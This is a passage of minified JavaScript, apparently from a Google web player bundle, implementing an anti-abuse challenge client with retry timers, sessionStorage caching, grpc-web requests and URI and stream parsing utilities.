case 9:Z=F.Z;g.cX(F,6);break;case 7:g.Yq(F),Z="E:UCE";case 6:e=void 0,l=E?I.s2:I.Ve,m=new g.SM(l,I.Y0,I.J3,I.wI),d=0;case 10:if(!(d<I.maxAttempts)){F.lG(12);break}if(d===0){F.lG(13);break}UW(x,0);x.C=new xL4(m.getValue(),I.YH,I.vQ);return g.v(F,x.C.promise,14);case 14:M=F.Z,x.C=void 0,M===1?(d=0,m.reset()):g.cQ(m);case 13:g.PX(F,15);A=void 0;if(t){A=t;F.lG(17);break}UW(x,5);R=u.C;return g.v(F,ra(T.Dz(R,Z),I.C9,function(){return Promise.reject(Error("RGF:Fetch timed out"))}),18);
case 18:A=F.Z;case 17:return UW(x,3),g.v(F,ra(RA(u,A),I.CNG,function(){return Promise.reject(Error("DTZ:Script timed out"))}),19);
case 19:return UW(x,8),g.v(F,H,20);case 20:return Y=new da({challenge:A,VO:x.options.VO,BR:x.options.BR}),g.v(F,ra(Y.G8,I.S0m,function(){return Promise.reject(Error("QEG:Setup timed out"))}),21);
case 21:e=Y;F.lG(12);break;case 15:b=g.Yq(F),x.handleError(b),XR3(x);case 11:d++;F.lG(10);break;case 12:if(x.T9()){F.lG(5);break}e&&(t=void 0,KK4(x,E),E=e,wRv(x,e),XR3(x));UW(x,2);x.C=new xL4(I.Eg9,I.YH,I.vQ);return g.v(F,x.C.promise,22);case 22:x.C=void 0;if(x.T9()){F.lG(5);break}F.lG(3);break;case 5:(z=E)==null||z.dispose(),g.RV(F)}})};
ra=function(x,T,t){var u,H=new Promise(function(I){u=setTimeout(I,T)});
return Promise.race([x.finally(function(){return void clearTimeout(u)}),
H.then(t)])};
xL4=function(x,T,t){function u(){var I=H.endTimeMs-Date.now();I<=t?H.mm(0):setTimeout(u,Math.min(I,T))}
var H=this;this.endTimeMs=Date.now()+x;this.promise=new Promise(function(I){H.mm=I});
u()};
Tv3=function(x,T){try{return globalThis.sessionStorage.setItem(x,T),!0}catch(t){return!1}};
ze=function(x,T,t,u){T=T===void 0?0:T;t=t===void 0?x.length:t;var H=0;for(u&&(H=ze(u));T<t;T++)u=typeof x==="string"?x.charCodeAt(T):x[T],H=oUJ(31,H)+u|0;return H};
tMD=function(x,T){return[ze(x,0,x.length>>1,T),ze(x,x.length>>1)]};
s05=function(x){var T=g.S(tMD(x,kF));x=T.next().value;T=T.next().value;return x.toString(16)+T.toString(16)};
u9m=function(x,T){var t=tMD(T);x=new Uint32Array(x.buffer);T=x[0];var u=g.S(t);t=u.next().value;u=u.next().value;for(var H=1;H<x.length;H+=2){for(var I=T,E=H,Z=t,e=u,l=0;l<22;l++)E=E>>>8|E<<24,E+=I|0,E^=Z+38293,I=I<<3|I>>>29,I^=E,e=e>>>8|e<<24,e+=Z|0,e^=l+38293,Z=Z<<3|Z>>>29,Z^=e;I=[I,E];x[H]^=I[0];H+1<x.length&&(x[H+1]^=I[1])}};
$LV=function(x,T,t,u,H){var I=(4-(kF.length+t.length)%4)%4,E=new Uint8Array(4+I+kF.length+4+t.length),Z=new DataView(E.buffer),e=0;Z.setUint32(e,Math.random()*4294967295);e=e+4+I;E.set(kF,e);e+=kF.length;Z.setUint32(e,H);E.set(t,e+4);u9m(E,u);return x.pK(T,function(l){return void globalThis.sessionStorage.removeItem(l)})?Tv3(T,g.Am(E))?"s":"t":"i"};
Hzf=function(x,T){var t=globalThis.sessionStorage.getItem(x);if(!t)return["m"];try{var u=PI(t);u9m(u,T)}catch(H){return globalThis.sessionStorage.removeItem(x),["c"]}for(T=4;T<7&&u[T]===0;)T++;for(t=0;t<kF.length;t++)if(u[T++]!==kF[t])return globalThis.sessionStorage.removeItem(x),["d"];t=(new DataView(u.buffer)).getUint32(T);return Math.floor(Date.now()/1E3)>=t?(globalThis.sessionStorage.removeItem(x),["e"]):["a",new Uint8Array(u.buffer,T+4)]};
Fl=function(x,T,t){t=t===void 0?[]:t;this.maxItems=x;this.C=T===void 0?0:T;this.Z=t};
iz3=function(x){var T=globalThis.sessionStorage.getItem("iU5q-!O9@$");if(!T)return new Fl(x);var t=T.split(",");if(t.length<2)return globalThis.sessionStorage.removeItem("iU5q-!O9@$"),new Fl(x);T=t.slice(1);T.length===1&&T[0]===""&&(T=[]);t=Number(t[0]);return isNaN(t)||t<0||t>T.length?(globalThis.sessionStorage.removeItem("iU5q-!O9@$"),new Fl(x)):new Fl(x,t,T)};
IYf=function(x,T){this.logger=T;try{var t=globalThis.sessionStorage&&!!globalThis.sessionStorage.getItem&&!!globalThis.sessionStorage.setItem&&!!globalThis.sessionStorage.removeItem}catch(u){t=!1}t&&(this.index=iz3(x))};
EU3=function(x,T,t,u,H){var I=x.index?$F(x.logger,function(){return $LV(x.index,s05(T),t,u,H)},"W"):"u";
x.logger.zz(I)};
qmJ=function(x,T,t){var u=g.S(x.index?$F(x.logger,function(){return Hzf(s05(T),t)},"R"):["u"]),H=u.next().value;
u=u.next().value;x.logger.Ky(H);return u};
ecJ=function(x){function T(){t-=u;t-=H;t^=H>>>13;u-=H;u-=t;u^=t<<8;H-=t;H-=u;H^=u>>>13;t-=u;t-=H;t^=H>>>12;u-=H;u-=t;u^=t<<16;H-=t;H-=u;H^=u>>>5;t-=u;t-=H;t^=H>>>3;u-=H;u-=t;u^=t<<10;H-=t;H-=u;H^=u>>>15}
x=Zzf(x);for(var t=2654435769,u=2654435769,H=314159265,I=x.length,E=I,Z=0;E>=12;E-=12,Z+=12)t+=h5(x,Z),u+=h5(x,Z+4),H+=h5(x,Z+8),T();H+=I;switch(E){case 11:H+=x[Z+10]<<24;case 10:H+=x[Z+9]<<16;case 9:H+=x[Z+8]<<8;case 8:u+=x[Z+7]<<24;case 7:u+=x[Z+6]<<16;case 6:u+=x[Z+5]<<8;case 5:u+=x[Z+4];case 4:t+=x[Z+3]<<24;case 3:t+=x[Z+2]<<16;case 2:t+=x[Z+1]<<8;case 1:t+=x[Z+0]}T();return j03.toString(H)};
Zzf=function(x){for(var T=[],t=0;t<x.length;t++)T.push(x.charCodeAt(t));return T};
h5=function(x,T){return x[T+0]+(x[T+1]<<8)+(x[T+2]<<16)+(x[T+3]<<24)};
vO=function(x){g.W.call(this);var T=this;this.logger=x;this.Z=new g.mn;this[lYD]=this.dispose;this.addOnDisposeCallback(function(){q9(T.Z.promise);T.Z.reject()})};
V7=function(x,T){var t=setTimeout(function(){x.Z.resolve()},T);
x.addOnDisposeCallback(function(){return void clearTimeout(t)})};
Ge=function(x,T,t,u){return $F(x.logger,function(){return t?x.N_(T,u):x.Fw(T,u)},x.C)};
Lk=function(x,T,t,u){vO.call(this,x);this.K=T;this.D=t;this.C="m";this.j="x";this.T=0;V7(this,u)};
aA=function(x,T,t){vO.call(this,x);this.K=T;this.C="f";this.j="z";V7(this,t)};
BO=function(x,T,t){vO.call(this,x);this.K=T;this.C="w";this.j="z";V7(this,t)};
WO=function(x,T){vO.call(this,x);this.error=T;this.C="e";this.j="y"};
mLq=function(x,T){var t=(T(x.error.message)+":"+T(x.error.stack)).substring(0,2048);T=t.length+1;t=DM(t);var u=new Uint8Array(4+t.length);u.set([42,T&127|128,T>>7,x.error.code]);u.set(t,4);return u};
y7=function(x,T,t){vO.call(this,x);this.K=T;this.clientState=t;this.C="S";this.j="q"};
DM=function(x){return globalThis.TextEncoder?(new TextEncoder).encode(x):g.S0(x)};
Nq=function(x,T,t){g.W.call(this);var u=this;this.logger=x;this.onError=T;this.state=t;this.N=0;this.Z=void 0;this.addOnDisposeCallback(function(){u.C&&(u.C.dispose(),u.C=void 0)})};
dLf=function(x,T){T=T instanceof ub?T:new ub(5,"TVD:error",T);return x.reportError(T)};
J5=function(x,T,t){try{if(x.T9())throw new ub(21,"BNT:disposed");if(!x.C&&x.Z)throw x.Z;var u,H;return(H=(u=MM5(x,T,t))!=null?u:AnJ(x,T,t))!=null?H:Rcf(x,T,t)}catch(I){if(!T.Ss)throw dLf(x,I);return Px3(x,t,I)}};
MM5=function(x,T,t){var u;return(u=x.C)==null?void 0:Ge(u,function(){return Ck(x,T)},t,function(H){var I;
if(x.C instanceof Lk&&((I=T.ZO)==null?0:I.mC))try{var E;(E=x.cache)==null||EU3(E,Ck(x,T),H,T.ZO.qo,x.J-120)}catch(Z){x.reportError(new ub(24,"ELX:write",Z))}})};
AnJ=function(x,T,t){var u;if((u=T.ZO)!=null&&u.eJ)try{var H,I=(H=x.cache)==null?void 0:qmJ(H,Ck(x,T),T.ZO.qo);return I?t?$F(x.logger,function(){return g.Am(I,2)},"a"):I:void 0}catch(E){x.reportError(new ub(23,"RXO:read",E))}};
Rcf=function(x,T,t){var u={stack:[],error:void 0,hasError:!1};try{if(!T.v6)throw new ub(29,"SDF:notready");return Ge(oP(u,new y7(x.logger,x.N,x.state)),function(){return Ck(x,T)},t)}catch(H){u.error=H,u.hasError=!0}finally{sh(u)}};
Px3=function(x,T,t){var u={stack:[],error:void 0,hasError:!1};try{var H=dLf(x,t);return Ge(oP(u,new WO(x.logger,H)),function(){return[]},T)}catch(I){u.error=I,u.hasError=!0}finally{sh(u)}};
Ck=function(x,T){return T.Hb?T.Hb:T.Ek?$F(x.logger,function(){return T.Hb=DM(T.Ek)},"c"):[]};
pk=function(x){var T;Nq.call(this,x.KF.TR(),(T=x.onError)!=null?T:function(){},0);
var t=this;this.T=0;this.K=new g.mn;this.j=!1;this.KF=x.KF;this.rP=x.rP;this.JN=Object.assign({},Smv,x.JN||{});x.C_&&(this.logger instanceof qq||this.logger instanceof i7)&&this.logger.r0(x.C_);this.pL=x.pL||!1;if(cnq(x)){var u=this.KF;this.D=function(){return OIJ(u).catch(function(E){E=t.reportError(new ub(t.j?20:32,"TRG:Disposed",E));t.Z=E;var Z;(Z=t.C)==null||Z.dispose();t.C=void 0;t.K.reject(E)})};
f3H(u,function(){return void Q7(t)});
u.J===2&&Q7(this)}else this.D=x.Y_y,Q7(this);var H=this.logger.share();H.Sa("o");var I=new sW(H,"o");this.K.promise.then(function(){I.done();H.ZI();H.dispose()},function(){return void H.dispose()});
this.addOnDisposeCallback(function(){t.j||(t.Z?t.logger.ZI():(t.Z=t.reportError(new ub(32,"TNP:Disposed")),t.logger.ZI(),t.K.reject(t.Z)));t.logger.dispose()})};
YmV=function(x,T){if(!(T instanceof ub))if(T instanceof bf){var t=Error(T.toString());t.stack=T.stack;T=new ub(11,"EBH:Error",t)}else T=new ub(12,"BSO:Unknown",T);return x.reportError(T)};
Q7=function(x){var T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y;return g.G(function(b){switch(b.C){case 1:T=void 0;x.T++;t=new g.mn;x.KF instanceof YF&&x.KF.K.push(t.promise);if(!x.pL){b.lG(2);break}u=new g.mn;setTimeout(function(){return void u.resolve()});
return g.v(b,u.promise,2);case 2:return H=x.logger.share(),g.PX(b,4,5),x.state=5,I={},E=[],g.v(b,ra(x.KF.snapshot({Ek:I,qP:E}),x.JN.KvG,function(){return Promise.reject(new ub(15,"MDA:Timeout"))}),7);
case 7:Z=b.Z;if(x.T9())throw new ub(x.j?20:32,"MDA:Disposed");e=E[0];x.state=6;return g.v(b,ra(H.Rj("g",1,x.rP.m7(Z)),x.JN.EM,function(){return Promise.reject(new ub(10,"BWB:Timeout"))}),8);
case 8:l=b.Z;if(x.T9())throw new ub(x.j?20:32,"BWB:Disposed");x.state=7;T=$F(H,function(){var F=ULq(x,l,t,e);F.Z.promise.then(function(){return void x.D()}).catch(function(){});
return F},"i");
case 5:g.UH(b);H.dispose();g.b3(b,6);break;case 4:m=g.Yq(b);(d=T)==null||d.dispose();if(!x.Z){M=YmV(x,m);t.resolve();var z;if(z=x.KF instanceof YF&&x.T<2)a:if(m instanceof ub)z=m.code!==32&&m.code!==20&&m.code!==10;else{if(m instanceof bf)switch(m.code){case 2:case 13:case 14:case 4:break;default:z=!1;break a}z=!0}if(z)return A=(1+Math.random()*.25)*(x.j?6E4:1E3),R=setTimeout(function(){return void x.D()},A),x.addOnDisposeCallback(function(){return void clearTimeout(R)}),b.return();
x.Z=M}H.o4(x.j?13:14);x.K.reject(x.Z);return b.return();case 6:x.state=8,x.T=0,(Y=x.C)==null||Y.dispose(),x.C=T,x.j=!0,x.K.resolve(),g.RV(b)}})};
ULq=function(x,T,t,u){var H=jg(T,2)*1E3;if(H<=0)throw new ub(31,"TTM:Invalid");if(eg(T,4))return new BO(x.logger,eg(T,4),H);if(!jg(T,3))return new aA(x.logger,zq(Od(T,1)),H);if(!u)throw new ub(4,"PMD:Undefined");u=u(zq(Od(T,1)));if(!(u instanceof Function))throw new ub(16,"APF:Failed");x.J=Math.floor((Date.now()+H)/1E3);x=new Lk(x.logger,u,jg(T,3),H);x.addOnDisposeCallback(function(){return void t.resolve()});
return x};
OW=function(){var x=0,T;return function(t){T||(T=new HO);var u=new y7(T,x,1),H=Ge(u,function(){return DM(t)},!0);
u.dispose();x++;return H}};
fk=function(x){this.Ue=Vd(x)};
bz4=function(x,T,t){this.V$=x;this.JZ=T;this.metadata=t};
wa=function(x,T){T=T===void 0?{}:T;this.Io9=x;this.metadata=T;this.status=null};
Kk=function(x,T,t,u,H){this.name=x;this.methodType="unary";this.requestType=T;this.responseType=t;this.C=u;this.Z=H};
Xl=function(x){this.Ue=Vd(x)};
xL=function(x){this.Ue=Vd(x)};
T2=function(x){this.Ue=Vd(x)};
oC=function(x,T){this.N=x.FeG;this.J=T;this.C=x.xhr;this.j=[];this.T=[];this.D=[];this.K=[];this.Z=[];this.N&&rnH(this)};
hci=function(x,T){var t=new zcv;g.WQ(x.C,"complete",function(){if(Kq(x.C)){var u=g.XH(x.C);if(T&&x.C.getResponseHeader("Content-Type")==="text/plain"){if(!atob)throw Error("Cannot decode Base64 response");u=atob(u)}try{var H=x.J(u)}catch(Z){tK(x,sp(new bf(13,"Error when deserializing response data; error: "+Z+(", response: "+u)),t));return}u=qA4(x.C.getStatus());u6(x,$L(x));u==0?kA5(x,H):tK(x,sp(new bf(u,"Xhr succeeded but the status code is not 200"),t))}else{u=g.XH(x.C);H=$L(x);if(u){var I=F7f(x,
u);u=I.code;var E=I.details;I=I.metadata}else u=2,E="Rpc failed due to xhr error. uri: "+String(x.C.J)+", error code: "+x.C.Z+", error: "+x.C.getLastError(),I=H;u6(x,H);tK(x,sp(new bf(u,E,I),t))}})};
rnH=function(x){x.N.s_("data",function(T){if("1"in T){var t=T["1"];try{var u=x.J(t)}catch(H){tK(x,new bf(13,"Error when deserializing response data; error: "+H+(", response: "+t)))}u&&kA5(x,u)}if("2"in T)for(T=F7f(x,T["2"]),t=0;t<x.D.length;t++)x.D[t](T)});
x.N.s_("end",function(){u6(x,$L(x));for(var T=0;T<x.K.length;T++)x.K[T]()});
x.N.s_("error",function(){if(x.Z.length!=0){var T=x.C.Z;T!==0||Kq(x.C)||(T=6);var t=-1;switch(T){case 0:var u=2;break;case 7:u=10;break;case 8:u=4;break;case 6:t=x.C.getStatus();u=qA4(t);break;default:u=14}u6(x,$L(x));T=dgH(T)+", error: "+x.C.getLastError();t!=-1&&(T+=", http status code: "+t);tK(x,new bf(u,T))}})};
$L=function(x){var T={},t=g.Vo3(x.C);Object.keys(t).forEach(function(u){T[u]=t[u]});
return T};
F7f=function(x,T){var t=2,u={};try{var H=vUC(T);t=ib(H,1);var I=H.getMessage();$9(H,xL,3).length&&(u["grpc-web-status-details-bin"]=T)}catch(E){x.C&&x.C.getStatus()===404?(t=5,I="Not Found: "+String(x.C.J)):(t=14,I="Unable to parse RpcStatus: "+E)}return{code:t,details:I,metadata:u}};
HL=function(x,T){T=x.indexOf(T);T>-1&&x.splice(T,1)};
kA5=function(x,T){for(var t=0;t<x.j.length;t++)x.j[t](T)};
u6=function(x,T){for(var t=0;t<x.T.length;t++)x.T[t](T)};
tK=function(x,T){for(var t=0;t<x.Z.length;t++)x.Z[t](T)};
zcv=function(){var x=Error.call(this);this.message=x.message;"stack"in x&&(this.stack=x.stack);Object.setPrototypeOf(this,this.constructor.prototype);this.name="AsyncStack"};
sp=function(x,T){T.stack&&(x.stack+="\n"+T.stack);return x};
g.i6=function(x){this.K=x.xmc||null;this.j=x.qr||!1;this.Z=void 0};
IC=function(x,T){g.wv.call(this);this.jY=x;this.D=T;this.T=void 0;this.status=this.readyState=0;this.responseType=this.responseText=this.response=this.statusText="";this.onreadystatechange=this.responseXML=null;this.J=new Headers;this.Z=null;this.ZZ="GET";this.S="";this.C=!1;this.N=this.j=this.K=null};
VM3=function(x){x.j.read().then(x.Ec7.bind(x)).catch(x.Mx.bind(x))};
q6=function(x){x.readyState=4;x.K=null;x.j=null;x.N=null;Ep(x)};
Ep=function(x){x.onreadystatechange&&x.onreadystatechange.call(x)};
g.Zr=function(x){this.C=this.J=this.T="";this.j=null;this.D=this.Z="";this.N=!1;var T;x instanceof g.Zr?(this.N=x.N,g.j3(this,x.T),this.J=x.J,g.e3(this,x.C),g.l6(this,x.j),this.Z=x.Z,ml(this,x.K.clone()),this.D=x.D):x&&(T=String(x).match(Gl))?(this.N=!1,g.j3(this,T[1]||"",!0),this.J=dw(T[2]||""),g.e3(this,T[3]||"",!0),g.l6(this,T[4]),this.Z=dw(T[5]||"",!0),ml(this,T[6]||"",!0),this.D=dw(T[7]||"")):(this.N=!1,this.K=new M6(null,this.N))};
g.j3=function(x,T,t){x.T=t?dw(T,!0):T;x.T&&(x.T=x.T.replace(/:$/,""))};
g.e3=function(x,T,t){x.C=t?dw(T,!0):T};
g.l6=function(x,T){if(T){T=Number(T);if(isNaN(T)||T<0)throw Error("Bad port number "+T);x.j=T}else x.j=null};
ml=function(x,T,t){T instanceof M6?(x.K=T,GA3(x.K,x.N)):(t||(T=AK(T,L7f)),x.K=new M6(T,x.N))};
g.RC=function(x,T,t){x.K.set(T,t)};
g.PL=function(x){return x instanceof g.Zr?x.clone():new g.Zr(x)};
dw=function(x,T){return x?T?decodeURI(x.replace(/%25/g,"%2525")):decodeURIComponent(x):""};
AK=function(x,T,t){return typeof x==="string"?(x=encodeURI(x).replace(T,nUH),t&&(x=x.replace(/%25([0-9a-fA-F]{2})/g,"%$1")),x):null};
nUH=function(x){x=x.charCodeAt(0);return"%"+(x>>4&15).toString(16)+(x&15).toString(16)};
M6=function(x,T){this.Z=this.C=null;this.j=x||null;this.K=!!T};
S3=function(x){x.C||(x.C=new Map,x.Z=0,x.j&&gd(x.j,function(T,t){x.add(fd(T),t)}))};
aY3=function(x,T){S3(x);T=cL(x,T);return x.C.has(T)};
g.gU5=function(x,T,t){x.remove(T);t.length>0&&(x.j=null,x.C.set(cL(x,T),g.o2(t)),x.Z=x.Z+t.length)};
cL=function(x,T){T=String(T);x.K&&(T=T.toLowerCase());return T};
GA3=function(x,T){T&&!x.K&&(S3(x),x.j=null,x.C.forEach(function(t,u){var H=u.toLowerCase();u!=H&&(this.remove(u),g.gU5(this,H,t))},x));
x.K=T};
g.Bv4=function(x){var T="";g.Mg(x,function(t,u){T+=u;T+=":";T+=t;T+="\r\n"});
return T};
g.YL=function(x,T,t){if(g.z0(t))return x;t=g.Bv4(t);if(typeof x==="string")return Ja(x,g.Ob(T),t);g.RC(x,T,t);return x};
g.Up=function(x){g.W.call(this);this.Z=x;this.C={}};
W7m=function(x,T,t,u,H,I){if(Array.isArray(t))for(var E=0;E<t.length;E++)W7m(x,T,t[E],u,H,I);else{T=BQ(T,t,u||x.handleEvent,H,I||x.Z||x);if(!T)return x;x.C[T.key]=T}return x};
DLi=function(){this.j=!0;this.Z=0;this.C=""};
yn5=function(x,T,t){x.j=!1;throw Error("The stream is broken @"+x.Z+". Error: "+t+". With input:\n"+T);};
b6=function(){this.D=null;this.N=[];this.K=this.Z=this.j=this.C=this.S=0;this.T=null;this.J=0};
rw=function(x,T,t,u){x.C=3;x.D="The stream is broken @"+x.S+"/"+t+". Error: "+u+". With input:\n"+T;throw Error(x.D);};
z2=function(){this.C=null;this.Z=0;this.j=new DLi;this.K=new b6};
NvC=function(x,T,t){x.C="The stream is broken @"+x.Z+". Error: "+t+". With input:\n"+T;throw Error(x.C);};
kL=function(x){return x=="\r"||x=="\n"||x==" "||x=="\t"};
Fi=function(x){this.S=null;this.D=[];this.K="";this.jY=[];this.j=this.Z=0;this.N=!1;this.J=0;this.uG=/[\\"]/g;this.C=this.T=0;this.ZZ=!(!x||!x.U2)};
hK=function(x,T,t){x.T=3;x.S="The stream is broken @"+x.j+"/"+t+". With input:\n"+T;throw Error(x.S);};
vL=function(){this.T=this.j=null;this.Z=this.C=0;this.K=[];this.D=!1};
Jn3=function(x){var T=g.Te(x,"Content-Type");if(!T)return null;T=T.toLowerCase();return T.startsWith("application/json")?T.startsWith("application/json+protobuf")?new vL:new Fi:T.startsWith("application/x-protobuf")?(x=g.Te(x,"Content-Transfer-Encoding"))?x.toLowerCase()=="base64"?new z2:null:new b6:null};
Vc=function(x){this.C=x;this.Z=null;this.T=this.j=0;this.S=!1;this.K=this.N=this.D=null;this.J=new g.Up(this);this.J.listen(this.C,"readystatechange",this.ZZ)};
gw=function(x,T){x.T!=T&&(x.T=T,x.N&&x.N())};
BL=function(x){x.J.removeAll();if(x.C){var T=x.C;x.C=null;T.abort();T.dispose()}};
Cxv=function(x){x=this.j=x;var T=(0,g.K4)(this.LRc,this);x.K=T;x=this.j;T=(0,g.K4)(this.CDy,this);x.N=T;this.Z={};this.C={}};
Q03=function(x,T){for(var t={},u=0;u<x.length;t={wg:void 0},u++)t.wg=x[u],T.forEach(function(H){return function(I){try{I(H.wg)}catch(E){}}}(t))};
WL=function(x,T){var t=x.Z[T];t&&t.forEach(function(u){try{u()}catch(H){}});
(t=x.C[T])&&t.forEach(function(u){u()});
x.C[T]=[]};
pQJ=function(){var x={format:"jspb"};x=x===void 0?{}:x;this.T=x.gqv||g.yJ("suppressCorsPreflight",x)||!1;this.Z=x.withCredentials||g.yJ("withCredentials",x)||!1;this.K=x.nq7||[];this.D=x.GTu||[];this.C=x.J6y;this.j=x.w7y||!1};
K7f=function(x,T,t,u,H,I){I=I===void 0?{}:I;var E=T.substring(0,T.length-H.name.length),Z,e=(Z=I)==null?void 0:Z.signal;return Ozf(function(l){return new fYD(function(m,d){if(e==null?0:e.aborted){var M=new bf(1,"Aborted");M.cause=e.reason;d(M)}else{var A={},R=wQ5(x,l,E);R.s_("error",function(Y){return d(Y)});
R.s_("metadata",function(Y){A=Y});
R.s_("data",function(Y){var b=A;b=b===void 0?{}:b;m(new wa(Y,b))});
e&&e.addEventListener("abort",function(){R.cancel();var Y=new bf(1,"Aborted");Y.cause=e.reason;d(Y)})}})},x.D).call(x,H.N(t,u)).then(function(l){return l.Io9})};
XQ3=function(x,T,t,u,H){var I=I===void 0?{}:I;return K7f(x,T,t,u,H,I)};
wQ5=function(x,T,t){var u=T.JZ,H=T.getMetadata(),I=xYi(x,!0);x=TdJ(x,H,I,t+u.getName());t=o5H(I,u.Z,!1);hci(t,H["X-Goog-Encode-Response-If-Executable"]=="base64");T=u.C(T.V$);I.send(x,"POST",T);return t};
xYi=function(x,T){T=x.j&&!T;return x.C||T?new g.pq(new g.i6({xmc:x.C,qr:T})):new g.pq};
TdJ=function(x,T,t,u){T["Content-Type"]="application/json+protobuf";T["X-User-Agent"]="grpc-web-javascript/0.1";var H=T.Authorization;if(H&&tL3.has(H.split(" ")[0])||x.Z)t.N=!0;if(x.T)u=g.YL(u,"$httpHeaders",T);else for(var I in T)t.headers.set(I,T[I]);return u};
o5H=function(x,T,t){if(t){x.isActive();t=new Vc(x);var u=new Cxv(t)}return new oC({xhr:x,FeG:u},T)};
Ozf=function(x,T){return T.reduce(function(t,u){return function(H){return u.intercept(H,t)}},x)};
sZ3=function(){this.C=new pQJ;this.Z="https://jnn-pa.googleapis.com".replace(/\/+$/,"")};
Dr=function(x){g.W.call(this);this.owner=x;this.signals=new Set;x&&g.y(x,this)};
yc=function(x,T){x.signals.has(T);return T};
N6=function(x){g.W.call(this);this.PA=x;this.slots=new Map;this.T8=new Set;this.OE=!1};
uHv=function(x,T){x.T9()||x.slots.set(T,{slotId:T,slot:void 0,eh:function(){return x.slots.delete(T)}})};
Cs=function(x,T){new Promise(function(t){JK(function(){x.PA&&(x.u1=T,x.OE=!0);for(var u=g.S(x.slots.values()),H=u.next();!H.done;H=u.next()){var I=H.value;H=I.slotId;I=I.slot;try{I(T,{signal:x,slotId:H})}catch(E){RP(E)}}u=g.S(x.T8);for(H=u.next();!H.done;H=u.next())H.value.resolve(T);x.T8.clear();t()})})};
JK=function(x){Qc.push(x);$YJ()};
$YJ=function(){var x,T;g.G(function(t){switch(t.C){case 1:if(ps)return t.return();g.PX(t,2,3);ps=!0;x=HqD(0);case 5:if(!(x<Qc.length)){t.lG(3);break}return g.v(t,Promise.resolve(),8);case 8:x=HqD(x);t.lG(5);break;case 3:g.UH(t);Qc.length=0;ps=!1;g.b3(t,0);break;case 2:T=g.Yq(t),RP(T),t.lG(3)}})};
HqD=function(x){for(var T=x+100;x<T&&x<Qc.length;)try{Qc[x++]()}catch(t){RP(t)}return x};
iq4=function(x,T){if(x.T9())T();else{var t=Op.get(x);if(t)t.push(T);else{var u=[T];Op.set(x,u);x.addOnDisposeCallback(function(){for(var H=g.S([].concat(g.U(u))),I=H.next();!I.done;I=H.next())I=I.value,I();Op.delete(x)})}}};
fs=function(x,T,t){g.W.call(this);this.N=x;this.milliseconds=T;this.P9=t;this.state=this.K=0};
IHf=function(x){return new fs(!1,x,{EV:function(){},
Kb:void 0})};
ww=function(x){M9.call(this,x);this.name="TimerCancelledError"};
Ks=function(x){M9.call(this,x);this.name="TimerDisposedError"};
E5m=function(x){var T={Ek:x.Ek,Hb:x.Hb,v6:!0,Ss:!0};x.ZO&&(x=x.ZO,T.ZO={qo:x.qo,eJ:x.eJ,mC:x.mC});return T};
Xi=function(x){var T;Nq.call(this,x.KTj?new HO:new qq({Nm:x.Nm,C_:x.St,b6:x.b6},[]),(T=x.onError)!=null?T:function(){},1);
this.j=new g.mn;this.lW=void 0;this.rP=x.rP;this.Fm=x.Fm;var t;this.onEvent=(t=x.onEvent)!=null?t:function(){}};
Zq3=function(x){var T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b;return g.G(function(z){switch(z.C){case 1:T=void 0,t=x.isReady()?6E4:1E3,u=new g.SM(t,6E5,.25,2),H={},I=1;case 2:if(!(I<=2)){z.lG(4);break}g.PX(z,5);x.state=3;x.N=I-1;return g.v(z,x.lW&&I===1?x.lW:x.Dz(I),7);case 7:return E=z.Z,x.lW=void 0,x.state=4,Z=new sW(x.logger,"b"),g.v(z,RA(A5(),E),8);case 8:return x.state=5,x.onEvent(1),H.fG=3,H.Sn=new da({challenge:E,s8:x.logger}),e=xa(x,12E4).then(function(V){return function(){x.onEvent(V.fG);return Promise.reject(new ub(15,
"MDA:Timeout"))}}(H)),g.v(z,Promise.race([H.Sn.G8,
e]),9);case 9:return x.onEvent(2),l=[],x.onEvent(4),H.fG=6,g.v(z,Promise.race([H.Sn.snapshot({qP:l}),e]),10);case 10:return m=z.Z,x.onEvent(5),d=g.S(l),M=d.next().value,H.uE=M,Z.done(),x.state=6,g.v(z,qef(x,x.logger.Rj("g",I,x.rP.m7(m)),new ub(10,"BWB:Timeout")),11);case 11:return H.oN=z.Z,x.state=7,A=$F(x.logger,function(V){return function(){var B=V.oN;var D=V.Sn;var f=V.uE;if(eg(B,4))D.dispose(),D=new BO(x.logger,eg(B,4),jg(B,2)*1E3);else if(jg(B,3)){if(!f)throw new ub(4,"PMD:Undefined");var O=
f(zq(Od(B,1)));if(!(O instanceof Function))throw new ub(16,"APF:Failed");f=jg(B,2)*1E3;B=new Lk(x.logger,O,jg(B,3),f);g.y(B,D);x.J=Math.floor((Date.now()+f)/1E3);D=B}else D.dispose(),D=new aA(x.logger,zq(Od(B,1)),jg(B,2)*1E3);return D}}(H),"i"),Y=R=void 0,(Y=(R=x).Fm)==null||Y.call(R,zq(Od(H.oN,1))),x.state=8,z.return(A);
case 5:b=g.Yq(z);T=b instanceof ub?b:b instanceof Ks?new ub(20,"WTO:Disposed",b):b instanceof bf?new ub(11,"EBH:Error",b):new ub(12,"BSO:Unknown",b);x.reportError(T);a:{if(b instanceof bf)switch(b.code){case 2:case 13:case 14:case 4:var F=!0;break a;default:F=!1;break a}F=b instanceof ub?b.code!==20:!0}if(!F)throw T;return g.v(z,xa(x,u.getValue()),12);case 12:g.cQ(u);case 3:H={fG:void 0,oN:void 0,Sn:void 0,uE:void 0};I++;z.lG(2);break;case 4:throw T;}})};
xa=function(x,T){T=IHf(T);g.y(x,T);T.start();return T.J};
qef=function(x,T,t){return Promise.race([T,xa(x,12E4).then(function(){return Promise.reject(t)})])};
jZJ=function(x){var T,t,u;g.G(function(H){switch(H.C){case 1:return T=void 0,g.PX(H,5),g.v(H,Zq3(x),7);case 7:T=H.Z;g.cX(H,6);break;case 5:t=g.Yq(H);if(x.C){x.logger.o4(13);H.lG(0);break}x.logger.o4(14);T=new WO(x.logger,t instanceof ub?t:new ub(14,"SOM:Init",t instanceof Error?t:Error(String(t))));case 6:return u=void 0,(u=x.C)==null||u.dispose(),x.C=T,x.j.resolve(),g.PX(H,8),g.v(H,x.C.Z.promise,10);case 10:g.cX(H,1);break;case 8:g.Yq(H),H.lG(0)}})};
ex3=function(x,T){T.ZO&&!x.cache&&x.jp(Math.min(T.ZO.xJ9,150))};
lHD=function(x){var T={};g.lg(x,function(t){var u=t.event,H=T[u];T.hasOwnProperty(u)?H!==null&&(t.RH(H)||(T[u]=null)):T[u]=t});
K3m(x,function(t){return T[t.event]===null})};
Tu=function(){this.Jo=0;this.C=!1;this.Z=-1;this.hx=!1;this.J$=0};
oF=function(){this.Z=null;this.C=!1};
t8=function(x){oF.call(this);this.K=x};
